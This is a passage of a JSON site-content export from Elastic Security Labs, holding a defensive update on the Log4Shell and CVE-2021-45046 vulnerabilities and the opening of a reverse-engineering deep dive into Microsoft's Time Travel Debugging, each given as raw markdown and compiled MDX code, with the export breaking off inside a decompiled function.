j=(t,e,n)=\u003e(n=t!=null?p(f(t)):{},s(e||!t||!t.__esModule?a(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(a({},\"__esModule\",{value:!0}),t);var m=_((E,i)=\u003e{i.exports=_jsx_runtime});var C={};d(C,{default:()=\u003ey,frontmatter:()=\u003eb});var r=j(m()),b={title:\"Remco Sprooten\",description:\"Elastic Security Labs Team Principal Research Engineer\",slug:\"remco-sprooten\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function h(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var y=h;return M(C);})();\n;return Component;"},"_id":"authors/remco-sprooten.mdx","_raw":{"sourceFilePath":"authors/remco-sprooten.mdx","sourceFileName":"remco-sprooten.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/remco-sprooten"},"type":"Author","imageUrl":"","url":"/authors/remco-sprooten"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Analysis of Log4Shell vulnerability \u0026 CVE-2021-45046","slug":"analysis-of-log4shell-cve-2021-45046","date":"2022-11-30","description":"In this post, we cover next steps the Elastic Security team is taking for users to continue to protect themselves against CVE-2021-44228, or Log4Shell.","image":"photo-edited-12-e.jpg","body":{"raw":"\n\u003e _To understand how Elastic is currently assessing internal risk of this vulnerability in our products please see the advisory_[_here._](https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476)\n\u003e\n\u003e _This document was updated on December 17, 2021 to reflect a revised CVSS score for CVE-2021-45046, and new findings by the community._\n\nIn recent days Log4Shell, or CVE-2021-44228, has dominated the news cycle in the world of information security and beyond. Elastic released an [advisory](https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476?ultron=log4js-exploit\u0026blade=announcement\u0026hulk=email\u0026mkt_tok=ODEzLU1BTS0zOTIAAAGBU8N1ZUOwzTcRbJCOiByHmeYiopMnarq-QPWBIyhPI3Vvsp6w-4q4PBbTGZ3fZ0sB75cpaUdOddA1k-6-yh3QwAicvJTgafdJWv_-9Cn2GoKLvsmt) detailing how Elastic products and users are impacted, and a [blog](https://www.elastic.co/blog/detecting-log4j2-with-elastic-security?ultron=log4js-exploit\u0026blade=announcement\u0026hulk=email\u0026mkt_tok=ODEzLU1BTS0zOTIAAAGBU8N1ZDYRbFq2QZ4ZK8tc2IbDatArsdI6WGcA2M90g4v02svJeqCXFeZ23R4TjeYii4KBGAkqMBgWc5IkxYrmefgwZBanjGQh8v66drUymiVSQFvs) post describing how our users can leverage Elastic Security to help defend their networks.\n\nMany readers have further questions as to how we’re tracking this issue within Elastic Security, what our coverage is now, and what we’re expecting to do next. This post outlines a few details for our current status, and provides details regarding a new, related vulnerability: CVE-2021-45046.\n\n## Elastic Security response\n\nAs you may imagine, the team has worked tirelessly to ensure that we’re developing detections for both active exploitation of the vulnerability, as well as post-compromise indicators, and will continue active development until further notice.\n\nWe’re spending time focusing on detailed detections that better align with some of the emerging trends that adversaries are now taking advantage of as they have time to develop their attack strategies. And we’re not working in silence — those that may have had a chance to catch up on our [original post](https://www.elastic.co/blog/detecting-log4j2-with-elastic-security) a few days ago will be pleasantly surprised we’ve added further detections and hunting examples, and will continue to do so as we learn more with the community.\n\nAlongside the threat research and signature development, we’ve noted some interesting observations:\n\n- We noted several instances of [generic crypto miners](https://www.virustotal.com/gui/file/5b25db204b5cd5cc3193f4378dd270dced80da9d39874d8b6fdd75e97d2cc907/detection) for Linux being deployed that appeared to be related to exploitation of this CVE, but determined that they are benign true positives\n- We’ve stopped at least eight different families of malware being deployed using the log4j exploit, indicating widespread adoption of the exploit by threats of all kinds\n- While we are observing coverage across our full protection suite (such as behavior protection), it is noteworthy that our free basic-tier malware protection is successfully preventing initial access\n\nWe will aim to keep users and readers apprised of findings, and hope to share additional observations in the wild as we see them.\n\n## A new contender: CVE-2021-45046\n\nWhile we watch the CVE-2021-44228 (Log4Shell) vulnerability dominate the news cycles, a new contender, [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046), was accidentally introduced to Log4j2j version 2.15.0, allowing adversaries to invoke a Denial of Service, and a remote code execution condition through specially crafted payloads. Previous mitigations to avoid Information Disclosure vulnerabilities by setting the `log4j2.noFormatMsgLookup` state to `true` do not mitigate against this new finding, according to the CVE details.\n\nWhile initially CVE-2021-45046 carried a lower CVSS score of 3.7 due to the impact of the initially discovered condition that can be invoked, this was re-evaluated to a 9.0 indicating limited remote code execution was possible. The finding was shared on December 16, 2021 by [Alvaro Muñoz](https://twitter.com/pwntester/status/1471465662975561734), who identified that while the default setting formatMsgNoLookups was accurately set to true, there were alternative locations for lookups to take place. Technical details are still unfolding from the community, however the Log4j2 team shared the following message within their security updates:\n\n_The reason these measures are insufficient is that, in addition to the Thread Context attack vector mentioned above, there are still code paths in Log4j where message lookups could occur: known examples are applications that use Logger.printf(\"%s\", userInput), or applications that use a custom message factory, where the resulting messages do not implement StringBuilderFormattable. There may be other attack vectors._\n\n_The safest thing to do is to upgrade Log4j to a safe version, or remove the JndiLookup class from the log4j-core jar._ [_Reference here_](https://logging.apache.org/log4j/2.x/security.html)\n\nGiven this new information, and readily available[POCs](https://twitter.com/marcioalm/status/1471740771581652995) available for exploitation, the Apache team has recommended those impacted upgrade to the latest, safe version of Log4j2, or alternatively remove the JndiLookup class from the log4j-core jar.\n\nElastic Security has observed many threat actors and benign scanners leveraging this new methodology already in some edge environments, with payloads incorporating previous attack methodologies such as key extraction attempts and base64 encoded payloads:\n\n\n\nWe anticipate adding further details as we learn them, and thank the team at lunasec specifically for providing a [detailed, early summary](https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/) of this emerging situation, and of course, provide kudos to [Alvaro Muñoz](https://twitter.com/pwntester) of Github Security Lab for the findings.\n\n## Thank you (again!), from Elastic Security\n\nWe want to thank all of the security teams across the globe for your tireless work this week. As we referenced before, openness and collaboration in the security community to safeguard all users is paramount when facing such a serious and pervasive vulnerability.\n\nExisting Elastic Security users can access these capabilities within the product. If you’re new to Elastic Security, take a look at our [Quick Start guides](https://www.elastic.co/training/elastic-security-quick-start) (bite-sized training videos to get you started quickly) or our [free fundamentals training courses](https://www.elastic.co/training/free#fundamentals).\n\nGet started with a [free 14-day trial of Elastic Cloud](https://cloud.elastic.co/registration). Or [download](https://www.elastic.co/downloads/) the self-managed version of the Elastic Stack for free.\n\n### References\n\n[https://logging.apache.org/log4j/2.x/security.html](https://logging.apache.org/log4j/2.x/security.html)\n\n[https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/](https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/)\n","code":"var Component=(()=\u003e{var h=Object.create;var n=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var w=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),m=(i,e)=\u003e{for(var o in e)n(i,o,{get:e[o],enumerable:!0})},s=(i,e,o,r)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of g(e))!f.call(i,a)\u0026\u0026a!==o\u0026\u0026n(i,a,{get:()=\u003ee[a],enumerable:!(r=u(e,a))||r.enumerable});return i};var y=(i,e,o)=\u003e(o=i!=null?h(p(i)):{},s(e||!i||!i.__esModule?n(o,\"default\",{value:i,enumerable:!0}):o,i)),v=i=\u003es(n({},\"__esModule\",{value:!0}),i);var c=w((S,l)=\u003e{l.exports=_jsx_runtime});var x={};m(x,{default:()=\u003ej,frontmatter:()=\u003eb});var t=y(c()),b={title:\"Analysis of Log4Shell vulnerability \u0026 CVE-2021-45046\",slug:\"analysis-of-log4shell-cve-2021-45046\",date:\"2022-11-30\",description:\"In this post, we cover next steps the Elastic Security team is taking for users to continue to protect themselves against CVE-2021-44228, or Log4Shell.\",author:[{slug:\"jake-king\"}],image:\"photo-edited-12-e.jpg\",category:[{slug:\"security-research\"},{slug:\"vulnerability-updates\"}]};function d(i){let e=Object.assign({blockquote:\"blockquote\",p:\"p\",em:\"em\",a:\"a\",h2:\"h2\",ul:\"ul\",li:\"li\",code:\"code\",img:\"img\",h3:\"h3\"},i.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.em,{children:\"To understand how Elastic is currently assessing internal risk of this vulnerability in our products please see the advisory\"}),(0,t.jsx)(e.a,{href:\"https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476\",rel:\"nofollow\",children:(0,t.jsx)(e.em,{children:\"here.\"})})]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"This document was updated on December 17, 2021 to reflect a revised CVSS score for CVE-2021-45046, and new findings by the community.\"})}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"In recent days Log4Shell, or CVE-2021-44228, has dominated the news cycle in the world of information security and beyond. Elastic released an \",(0,t.jsx)(e.a,{href:\"https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476?ultron=log4js-exploit\u0026blade=announcement\u0026hulk=email\u0026mkt_tok=ODEzLU1BTS0zOTIAAAGBU8N1ZUOwzTcRbJCOiByHmeYiopMnarq-QPWBIyhPI3Vvsp6w-4q4PBbTGZ3fZ0sB75cpaUdOddA1k-6-yh3QwAicvJTgafdJWv_-9Cn2GoKLvsmt\",rel:\"nofollow\",children:\"advisory\"}),\" detailing how Elastic products and users are impacted, and a \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/detecting-log4j2-with-elastic-security?ultron=log4js-exploit\u0026blade=announcement\u0026hulk=email\u0026mkt_tok=ODEzLU1BTS0zOTIAAAGBU8N1ZDYRbFq2QZ4ZK8tc2IbDatArsdI6WGcA2M90g4v02svJeqCXFeZ23R4TjeYii4KBGAkqMBgWc5IkxYrmefgwZBanjGQh8v66drUymiVSQFvs\",rel:\"nofollow\",children:\"blog\"}),\" post describing how our users can leverage Elastic Security to help defend their networks.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Many readers have further questions as to how we\\u2019re tracking this issue within Elastic Security, what our coverage is now, and what we\\u2019re expecting to do next. This post outlines a few details for our current status, and provides details regarding a new, related vulnerability: CVE-2021-45046.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"elastic-security-response\",children:\"Elastic Security response\"}),`\n`,(0,t.jsx)(e.p,{children:\"As you may imagine, the team has worked tirelessly to ensure that we\\u2019re developing detections for both active exploitation of the vulnerability, as well as post-compromise indicators, and will continue active development until further notice.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"We\\u2019re spending time focusing on detailed detections that better align with some of the emerging trends that adversaries are now taking advantage of as they have time to develop their attack strategies. And we\\u2019re not working in silence \\u2014 those that may have had a chance to catch up on our \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/detecting-log4j2-with-elastic-security\",rel:\"nofollow\",children:\"original post\"}),\" a few days ago will be pleasantly surprised we\\u2019ve added further detections and hunting examples, and will continue to do so as we learn more with the community.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Alongside the threat research and signature development, we\\u2019ve noted some interesting observations:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"We noted several instances of \",(0,t.jsx)(e.a,{href:\"https://www.virustotal.com/gui/file/5b25db204b5cd5cc3193f4378dd270dced80da9d39874d8b6fdd75e97d2cc907/detection\",rel:\"nofollow\",children:\"generic crypto miners\"}),\" for Linux being deployed that appeared to be related to exploitation of this CVE, but determined that they are benign true positives\"]}),`\n`,(0,t.jsx)(e.li,{children:\"We\\u2019ve stopped at least eight different families of malware being deployed using the log4j exploit, indicating widespread adoption of the exploit by threats of all kinds\"}),`\n`,(0,t.jsx)(e.li,{children:\"While we are observing coverage across our full protection suite (such as behavior protection), it is noteworthy that our free basic-tier malware protection is successfully preventing initial access\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"We will aim to keep users and readers apprised of findings, and hope to share additional observations in the wild as we see them.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"a-new-contender-cve-2021-45046\",children:\"A new contender: CVE-2021-45046\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"While we watch the CVE-2021-44228 (Log4Shell) vulnerability dominate the news cycles, a new contender, \",(0,t.jsx)(e.a,{href:\"https://nvd.nist.gov/vuln/detail/CVE-2021-45046\",rel:\"nofollow\",children:\"CVE-2021-45046\"}),\", was accidentally introduced to Log4j2j version 2.15.0, allowing adversaries to invoke a Denial of Service, and a remote code execution condition through specially crafted payloads. Previous mitigations to avoid Information Disclosure vulnerabilities by setting the \",(0,t.jsx)(e.code,{children:\"log4j2.noFormatMsgLookup\"}),\" state to \",(0,t.jsx)(e.code,{children:\"true\"}),\" do not mitigate against this new finding, according to the CVE details.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"While initially CVE-2021-45046 carried a lower CVSS score of 3.7 due to the impact of the initially discovered condition that can be invoked, this was re-evaluated to a 9.0 indicating limited remote code execution was possible. The finding was shared on December 16, 2021 by \",(0,t.jsx)(e.a,{href:\"https://twitter.com/pwntester/status/1471465662975561734\",rel:\"nofollow\",children:\"Alvaro Mu\\xF1oz\"}),\", who identified that while the default setting formatMsgNoLookups was accurately set to true, there were alternative locations for lookups to take place. Technical details are still unfolding from the community, however the Log4j2 team shared the following message within their security updates:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:'The reason these measures are insufficient is that, in addition to the Thread Context attack vector mentioned above, there are still code paths in Log4j where message lookups could occur: known examples are applications that use Logger.printf(\"%s\", userInput), or applications that use a custom message factory, where the resulting messages do not implement StringBuilderFormattable. There may be other attack vectors.'})}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.em,{children:\"The safest thing to do is to upgrade Log4j to a safe version, or remove the JndiLookup class from the log4j-core jar.\"}),\" \",(0,t.jsx)(e.a,{href:\"https://logging.apache.org/log4j/2.x/security.html\",rel:\"nofollow\",children:(0,t.jsx)(e.em,{children:\"Reference here\"})})]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Given this new information, and readily available\",(0,t.jsx)(e.a,{href:\"https://twitter.com/marcioalm/status/1471740771581652995\",rel:\"nofollow\",children:\"POCs\"}),\" available for exploitation, the Apache team has recommended those impacted upgrade to the latest, safe version of Log4j2, or alternatively remove the JndiLookup class from the log4j-core jar.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Elastic Security has observed many threat actors and benign scanners leveraging this new methodology already in some edge environments, with payloads incorporating previous attack methodologies such as key extraction attempts and base64 encoded payloads:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/analysis-of-log4shell-cve-2021-45046/scanning-attempts-vulnerability.jpg\",alt:\"A preview of the rapid acceleration of scanning attempts adopting this new vulnerability\",width:\"1358\",height:\"416\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"We anticipate adding further details as we learn them, and thank the team at lunasec specifically for providing a \",(0,t.jsx)(e.a,{href:\"https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/\",rel:\"nofollow\",children:\"detailed, early summary\"}),\" of this emerging situation, and of course, provide kudos to \",(0,t.jsx)(e.a,{href:\"https://twitter.com/pwntester\",rel:\"nofollow\",children:\"Alvaro Mu\\xF1oz\"}),\" of Github Security Lab for the findings.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"thank-you-again-from-elastic-security\",children:\"Thank you (again!), from Elastic Security\"}),`\n`,(0,t.jsx)(e.p,{children:\"We want to thank all of the security teams across the globe for your tireless work this week. As we referenced before, openness and collaboration in the security community to safeguard all users is paramount when facing such a serious and pervasive vulnerability.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Existing Elastic Security users can access these capabilities within the product. If you\\u2019re new to Elastic Security, take a look at our \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/training/elastic-security-quick-start\",rel:\"nofollow\",children:\"Quick Start guides\"}),\" (bite-sized training videos to get you started quickly) or our \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/training/free#fundamentals\",rel:\"nofollow\",children:\"free fundamentals training courses\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Get started with a \",(0,t.jsx)(e.a,{href:\"https://cloud.elastic.co/registration\",rel:\"nofollow\",children:\"free 14-day trial of Elastic Cloud\"}),\". Or \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/downloads/\",rel:\"nofollow\",children:\"download\"}),\" the self-managed version of the Elastic Stack for free.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"references\",children:\"References\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.a,{href:\"https://logging.apache.org/log4j/2.x/security.html\",rel:\"nofollow\",children:\"https://logging.apache.org/log4j/2.x/security.html\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.a,{href:\"https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/\",rel:\"nofollow\",children:\"https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/\"})})]})}function k(i={}){let{wrapper:e}=i.components||{};return e?(0,t.jsx)(e,Object.assign({},i,{children:(0,t.jsx)(d,i)})):d(i)}var j=k;return v(x);})();\n;return Component;"},"_id":"articles/analysis-of-log4shell-cve-2021-45046.mdx","_raw":{"sourceFilePath":"articles/analysis-of-log4shell-cve-2021-45046.mdx","sourceFileName":"analysis-of-log4shell-cve-2021-45046.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/analysis-of-log4shell-cve-2021-45046"},"type":"Article","imageUrl":"/assets/images/analysis-of-log4shell-cve-2021-45046/photo-edited-12-e.jpg","readingTime":"5 min read","series":"","url":"/analysis-of-log4shell-cve-2021-45046","headings":[{"level":2,"title":"Elastic Security response","href":"#elastic-security-response"},{"level":2,"title":"A new contender: CVE-2021-45046","href":"#a-new-contender-cve-2021-45046"},{"level":2,"title":"Thank you (again!), from Elastic Security","href":"#thank-you-again-from-elastic-security"},{"level":3,"title":"References","href":"#references"}],"author":[{"title":"Jake King","slug":"jake-king","description":"Elastic Security Intelligence Team Lead","image":"jake-king.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var i=Object.defineProperty;var j=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var x=Object.getPrototypeOf,d=Object.prototype.hasOwnProperty;var f=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),k=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},c=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of l(e))!d.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(o=j(e,a))||o.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?u(x(t)):{},c(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),_=t=\u003ec(i({},\"__esModule\",{value:!0}),t);var g=f((L,s)=\u003e{s.exports=_jsx_runtime});var D={};k(D,{default:()=\u003eC,frontmatter:()=\u003eM});var r=p(g()),M={title:\"Jake King\",description:\"Elastic Security Intelligence Team Lead\",slug:\"jake-king\",image:\"jake-king.jpg\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function y(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var C=y;return _(D);})();\n;return Component;"},"_id":"authors/jake-king.mdx","_raw":{"sourceFilePath":"authors/jake-king.mdx","sourceFileName":"jake-king.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/jake-king"},"type":"Author","imageUrl":"/assets/images/authors/jake-king.jpg","url":"/authors/jake-king"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"},{"title":"Vulnerability updates","slug":"vulnerability-updates","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var o=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var d=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,p=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)o(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of d(e))!p.call(t,a)\u0026\u0026a!==n\u0026\u0026o(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(f(t)):{},u(e||!t||!t.__esModule?o(n,\"default\",{value:t,enumerable:!0}):n,t)),b=t=\u003eu(o({},\"__esModule\",{value:!0}),t);var c=_((X,i)=\u003e{i.exports=_jsx_runtime});var D={};g(D,{default:()=\u003eC,frontmatter:()=\u003ey});var r=j(c()),y={title:\"Vulnerability updates\",slug:\"vulnerability-updates\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var C=M;return b(D);})();\n;return Component;"},"_id":"categories/vulnerability-updates.mdx","_raw":{"sourceFilePath":"categories/vulnerability-updates.mdx","sourceFileName":"vulnerability-updates.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/vulnerability-updates"},"type":"Category","url":"/categories/vulnerability-updates"}]},{"title":"Deep dive into the TTD ecosystem","slug":"deep-dive-into-the-ttd-ecosystem","date":"2022-11-30","description":"This is the first in a series focused on the Time Travel Debugging (TTD) technology developed by Microsoft that was explored in detail during a recent independent research period.","image":"photo-edited-02-w.jpg","tags":["windows"],"body":{"raw":"\nSeveral times a year, Elastic Security Labs researchers get the freedom to choose and dig into projects of their liking — either alone or as a team. This time is internally referred to as “On-Week” projects. This is the first in a series focused on the [Time Travel Debugging](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-overview) (TTD) technology developed by Microsoft that was explored in detail during a recent On-Week session.\n\nDespite being made public for several years, awareness of TTD and its potential are greatly underrated within the infosec community. We hope this two-part series can help shed some light on how TTD can be useful for program debugging, vulnerability research and exploitation, and malware analysis.\n\nThis research involved first understanding the inner workings of TTD and then assessing some interesting applicable uses that can be made out of it. This post will focus on how researchers dive deep into TTD, sharing their methodology along with some interesting findings. The second part will detail the applicable use of TTD for the purpose of malware analysis and integration with Elastic Security.\n\n# Background\n\n[Time Travel Debugging](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-overview) is a tool developed by Microsoft Research that allows users to record execution and navigate freely into the user-mode runtime of a binary. TTD itself relies on two technologies: Nirvana for the binary translation, and iDNA for the trace reading/writing process. Available since Windows 7, TTD internals were first detailed [in a publicly available paper](https://www.usenix.org/legacy/events/vee06/full_papers/p154-bhansali.pdf). Since then, both [Microsoft](https://www.youtube.com/watch?v=l1YJTg_A914\u0026) and [independent researchers](https://infocondb.org/con/recon/recon-2015/hooking-nirvana-stealthy-instrumentation-techniques-for-windows-10) have covered it in great detail. For this reason, we won’t explore the internals of both technologies in depth. Instead, Elastic researchers investigated the ecosystem — or the executables, DLLs, and drivers — that make the TTD implementation work. This led to some interesting findings about TTD, but also Windows itself, as TTD leverages some (undocumented) techniques to work as intended in special cases, such as [Protected Processes](https://docs.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-#system-protected-process).\n\nBut why investigate TTD at all? Aside from pure curiosity, it is likely that one of the possible intended uses for the technology would be discovering bugs in production environments. When bugs are hard to trigger or reproduce, having a “record-once-replay-always” type of environment helps compensate for that difficulty, which is exactly what TTD implements when coupled with WinDbg.\n\nDebugging tools such as [WinDbg](https://apps.microsoft.com/store/detail/9PGJGD53TN86) have always been an immense source of information when reversing Windows components, as they provide additional comprehensible information, usually in plain text. Debugging tools (especially debuggers) must cooperate with the underlying operating system, which could involve debugging interfaces and/or previously undisclosed capabilities from the OS. TTD conforms to that pattern.\n\n# High-level overview\n\nTTD works by first creating a recording that tracks every instruction executed by an application and stores it in a database (suffixed with .run). Recorded traces can be replayed at will using the WinDbg debugger, which on first access will index the .run file, allowing for faster navigation through the database. To be able to track execution of arbitrary processes, TTD injects a DLL responsible for recording activity on-demand which allows it to record processes by spawning them, but also may attach to an already-running process.\n\nTTD is freely [downloadable](https://apps.microsoft.com/store/detail/9PGJGD53TN86) as part of the WinDbg Preview package in the MS Store. It can be used directly from WinDbg Preview (aka WinDbgX), but is a standalone component that is located in `C:\\Program Files\\WindowsApps\\Microsoft.WinDbg_\u003cversion\u003e\u003c/version\u003e_\u003carch\u003e__8wekyb3d8bbwe\\amd64\\ttd` for the x64 architecture, which we will focus on in this post. x86 and arm64 versions are also available for download in the MS Store.\n\nThe package consists of two EXE files (TTD.exe and TTDInject.exe) and a handful of DLLs. This research focuses on the major DLL responsible for everything not related to Nirvana/iDNA (i.e. responsible for the session management, driver communication, DLL injection, and more): ttdrecord.dll\n\n\\_Note: Most of this research was made using two versions of the ttdrecord DLL: mostly on a 2018 version (1.9.106.0 SHA256=aca1786a1f9c96bbe1ea9cef0810c4d164abbf2c80c9ecaf0a1ab91600da6630), and early 2022 version (10.0.19041.1 SHA256=1FF7F54A4C865E4FBD63057D5127A73DA30248C1FF28B99FF1A43238071CBB5C). The older versions were found to have more symbols, which helped speed up the reverse engineering process. We then re-adapted structures and function names to the most recent version. Therefore, some of the structures explained here might not be the same if you’re trying to reproduce on more recent versions. \\_\n\n# Examining TTD features\n\n## Command line parameters\n\nReaders should note that TTD.exe acts essentially as a wrapper to ttdrecord!ExecuteTTTracerCommandLine:\n\n```\nHRESULT wmain()\n{\nv28 = 0xFFFFFFFFFFFFFFFEui64;\nhRes = CoInitializeEx(0i64, 0);\nif ( hRes \u003e= 0 )\n{\nModuleHandleW = GetModuleHandleW(L\"TTDRecord.dll\");\n[...]\nTTD::DiagnosticsSink::DiagnosticsSink(DiagnosticsSink, \u0026v22);\nCommandLineW = GetCommandLineW();\nlpDiagnosticsSink = Microsoft::WRL::Details::Make\u003cTTD::CppToComDiagnosticsSink,TTD::DiagnosticsSink\u003e(\u0026v31, DiagnosticsSink);\nhRes = 